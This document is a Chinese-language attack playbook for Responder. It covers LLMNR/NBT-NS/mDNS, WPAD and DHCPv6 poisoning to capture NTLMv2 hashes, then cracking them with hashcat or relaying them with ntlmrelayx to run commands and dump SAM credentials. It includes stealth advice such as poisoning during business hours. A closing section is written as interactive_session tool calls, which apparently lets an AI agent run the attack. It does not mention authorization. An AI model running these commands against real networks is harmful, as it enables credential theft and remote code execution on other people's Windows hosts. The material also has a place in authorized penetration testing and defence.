Responder 是一款用于 LLMNR/NBT-NS/MDNS 投毒和 NTLMv2 哈希捕获的安全工具。它利用 Windows 名称解析的设计特性:当 DNS 查询失败时,Windows 会通过 LLMNR/NBT-NS 广播询问,Responder 伪造响应让目标把 NTLMv2 哈希发送过来。被动等待即可获取凭据,无需主动攻击。
项目地址:https://github.com/lgandx/Responder
工作原理
Windows 名称解析链(Responder 利用第 4-6 步):
- 本地 hosts 文件
- DNS 缓存
- DNS 服务器查询
- LLMNR (UDP 5355) — 链路本地多播
- NBT-NS (UDP 137) — NetBIOS 广播
- mDNS (UDP 5353) — 多播 DNS
当 DNS 查不到时,Windows 自动走 4-6 步广播/多播,Responder 伪造 4-6 步的响应,目标发送 NTLMv2 认证。
典型流程:
- 目标访问不存在的共享 \FILESERVER\share
- DNS 查不到 FILESERVER
- Windows 通过 LLMNR/NBT-NS 广播“谁是 FILESERVER?”
- Responder 响应“我是!”
- 目标向 Responder 发送 NTLMv2 认证
- Responder 记录哈希
常见触发场景:
- 被动:拼写错误(用户输入错误的服务器名)
- 被动:过期快捷方式(指向已下线服务器的 .lnk)
- 被动:错误配置(应用配置中的无效主机名)
- 被动:WPAD(浏览器自动代理发现)
- 主动:.lnk/.scf 文件(放置在共享目录中触发 NTLM)
- 主动:RPC 强制认证(PetitPotam/PrinterBug)
基本用法
# 启动 Responder(监听指定网卡)
responder -I eth0
# 详细模式(推荐)
responder -I eth0 -wv
# -w: 启用 WPAD 代理(捕获更多 HTTP 流量的哈希)
# -v: 详细输出
# -d: 启用 DHCP 投毒(DHCPv6 场景)
# -P: 强制 NTLM 认证代理(ProxyAuth)
# 只监听不投毒(分析模式,推荐先跑这个确认环境)
responder -I eth0 -A
捕获的哈希
Responder 抓到的哈希保存在日志目录:
# 默认路径
ls /usr/share/responder/logs/
# 或
ls /opt/Responder/logs/
# 哈希格式(NTLMv2):
# user::DOMAIN:challenge:response:blob
# 可直接喂给 hashcat -m 5600
# NTLMv1 哈希(旧系统/降级攻击):hashcat -m 5500
Responder 数据库:Responder 会记录已捕获的哈希避免重复,重新捕获时需清理:
# 数据库位置
ls /usr/share/responder/Responder.db
# 或 /opt/Responder/Responder.db
# 清理数据库(重新捕获所有哈希)
rm /usr/share/responder/Responder.db
配合 hashcat 破解
# 提取所有抓到的 NTLMv2 哈希
cat /usr/share/responder/logs/*.txt | sort -u > ntlmv2_hashes.txt
# hashcat 离线破解
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
# -O 优化模式(截断密码长度换速度)
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt -O
配合 ntlmrelayx 中继
中继比破解更强大——不需要知道明文密码,直接转发认证到其他目标:
# 终端 1:Responder 关闭 SMB 和 HTTP(让 ntlmrelayx 处理)
# 编辑配置文件:
# /etc/responder/Responder.conf 或 /opt/Responder/Responder.conf
# [Responder Core]
# SMB = Off
# HTTP = Off
responder -I eth0 -wv
# 终端 2:ntlmrelayx 中继到目标
ntlmrelayx.py -t smb://10.0.0.5 -smb2support
# 中继到多个目标
ntlmrelayx.py -tf targets.txt -smb2support
# 中继并执行命令
ntlmrelayx.py -t smb://10.0.0.5 -c "whoami" -smb2support
# 中继并导出凭据
ntlmrelayx.py -t smb://10.0.0.5 -smb2support --sam
WPAD 攻击
# 启用 WPAD(自动代理发现)
responder -I eth0 -wv
# WPAD 攻击流程:
# 1. 浏览器广播 "谁是 wpad.corp.local?"
# 2. Responder 响应 "我是!"
# 3. 浏览器请求 /wpad.dat 代理配置
# 4. Responder 返回代理到自身的 PAC 文件
# 5. 浏览器所有 HTTP 流量经过 Responder 代理
# 6. 代理要求 NTLM 认证 → 捕获哈希
DHCPv6 投毒
# Windows 默认优先 IPv6 → Responder 做 DHCPv6 服务器注入攻击者 DNS
responder -I eth0 -dv
# 配合 mitm6(更强的 IPv6 DNS 投毒)
mitm6 -d corp.local -i eth0
# 另一终端: ntlmrelayx.py -t ldaps://DC_IP -wh attacker.corp.local
OpSec 注意事项
- 先跑分析模式 responder -A 确认环境有 LLMNR/NBT-NS 流量
- 限制投毒范围:只在目标子网操作,避免大面积投毒
- 在业务时间投毒:用户活跃时触发概率更高
- 检测指标:异常 LLMNR/NBT-NS 响应、未知 IP 的认证请求、大量认证失败
- Responder.db 管理:定期检查避免遗漏重复用户的新哈希
使用 interactive_session 运行
Responder 需要持续监听,适合用 interactive_session:
# 启动 Responder
interactive_session(action="start", session_name="responder", command="responder -I eth0 -wv")
# 检查是否抓到哈希
interactive_session(action="read", session_name="responder", wait=5)
# 查看日志文件
interactive_session(action="send", session_name="responder_check", command="ls /usr/share/responder/logs/")
决策树
在域网络中获取凭据:
- 被动等待(安全、隐蔽)→ Responder 投毒
- 抓到 NTLMv2 哈希后:
- 想知道明文密码 → hashcat -m 5600 离线破解
- 不需要明文、直接利用 → ntlmrelayx 中继
- 目标 SMB 签名未启用 → ntlmrelayx 中继(最有效)
- 目标 SMB 签名已启用 → 只能破解哈希
- 需要主动触发 → 通过漏洞让目标访问 \ATTACKER\share